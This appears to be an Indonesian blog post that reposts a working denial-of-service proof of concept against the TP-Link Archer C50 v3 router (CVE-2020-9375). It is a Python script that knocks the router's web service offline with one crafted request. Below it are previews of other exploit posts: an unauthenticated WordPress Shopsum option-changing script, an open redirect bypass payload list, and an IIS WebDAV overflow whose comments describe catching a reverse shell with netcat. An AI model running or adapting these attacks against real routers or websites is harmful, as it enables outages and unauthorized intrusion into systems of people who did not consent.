Langsung ke konten utama

TP-Link Archer C50 3 - Denial of Service (PoC)

# Exploit Title: TP-Link Archer C50 3 - Denial of Service (PoC)
# Date: 2020-01-25
# Exploit Author: thewhiteh4t
# Vendor Homepage: https://www.tp-link.com/
# Version: TP-Link Archer C50 v3 Build 171227
# Tested on: Arch Linux x64
# CVE: CVE-2020-9375
# Description: https://thewhiteh4t.github.io/2020/02/27/CVE-2020-9375-TP-Link-Archer-C50-v3-Denial-of-Service.html

import time
import socket

ip = '192.168.0.1'
port = 80

print('[+] IP   : ' + ip)
print('[+] Port : ' + str(port))

for i in range(2):
 time.sleep(1)
 try:
  print('[+] Initializing Socket...')
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(5)
  print('[!] Connecting to target...')
  s.connect((ip, port))
  header = 'GET / HTTP/1.1\r\nHost: {}\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0\r\nReferer: thewhiteh4t\r\n\r\n'.format(ip)
  header = header.encode()
  print('[!] Sending Request...')
  s.sendall(header)
  print('[!] Disconnecting Socket...')
  s.close()
  if i == 1:
   print('[-] Exploit Failed!')
   break
 except Exception as e:
  if 'Connection refused' in str(e):
   print('[+] Connection Refused...Exploit Successful!')
   break
  else:
   print('[-] Exploit Failed!')
   break
Preference : https://www.exploit-db.com/exploits/48255

Komentar

Postingan populer dari blog ini

Wordpress Premium Themes Shopsum Unauthenticated Configuration

# Exploit  Title : Wordpress Premium Themes Shopsum Unauthenticated Configuration Access Vulnerability # Author  : Mr.Buckethead # Date  : November 13th, 2014 # Category  : Web Applications # Vulnerability  : Unauthenticated Configuration Access # Tested  On : Windows 7 32-bit, Backbox # Dork  : inurl:/wp-content/themes/shopsum/hades_framework/ or use ur imagination #Exploit : http://localhost/path/wp-content/themes/shopsum/hades_framework/option_panel/ajax.php # POC  : Save File As Python (.py) = import httplib, urllib # target  site site = "victim" #<--- no http:// or https:// # path  to ajax.php url = "t/wp-content/themes/shopsum/hades_framework/option_panel/ajax.php" def ChangeOption(site, url, option_name, option_value): params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]': option_value}) headers = {"Content-type": "application/x-www-form-urlencoded", "Accept...

Open Redirect Bypass Cheat Sheet

Open Redirect Bypass Cheat Sheet   Yoo Cherry     August 3, 2019     Cheat Sheet ,  Web Hacking     No Comments Open Redirect Bypass Cheat Sheet.  Open redirect  adalah celah yang memungkinkan attacker untuk mengarahkan pengunjung dari situs terpercaya ke situs malware atau phising tanpa autentifikasi dari admin situs. Bergantung pada arsitektur situs web yang rentan, pengalihan bisa terjadi setelah tindakan tertentu, seperti login, dan terkadang hal itu bisa terjadi seketika saat memuat sebuah halaman. Open Redirect Bypass Cheat Sheet http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206] http://XY>.7d8T\205pZM@[::ffff:216.58.214.206] http://0xd8.072.54990 http://www.whitelisteddomain.tld@0xd8.072.54990 http://3H6k7lIAiqjfNeN@0xd8.072.54990 http://XY>.7d8T\205pZM@0xd8.072.54990 http://0xd8.3856078 http://www.whitelisteddomain.tld@0xd8.3856078 http://3H6k7lIAiqjfNeN@0xd8.3856078 http://XY>.7d8T\205pZM@0xd8.3856078 ...

Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow

/*******************************************************************/ /* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */ /* --------------------------------------------------------------- */ /* this is the exploit for ntdll.dll through WebDAV. */ /* run a netcat ex: nc -L -vv -p 666 */ /* wb server.com your_ip 666 0 */ /* the shellcode is a reverse remote shell */ /* you need to pad a bit.. the best way I think is launching */ /* the exploit with pad = 0 and after that, the server will be */ /* down for a couple of seconds, now retry with pad at 1 */ /* and so on..pad 2.. pad 3.. if you haven't the shell after */ /* something like pad at 10 I think you better to restart from */ /* pad at 0. On my local IIS the pad was at 1 (0x00110011) but */ /* on all the others servers it was at 2,3,4, etc..sometimes */ /* you can have the force with you, and get the shell in 1 try */ /* sometimes you need to pad more than 10 times ;) */ /* the shellcode was coded by m...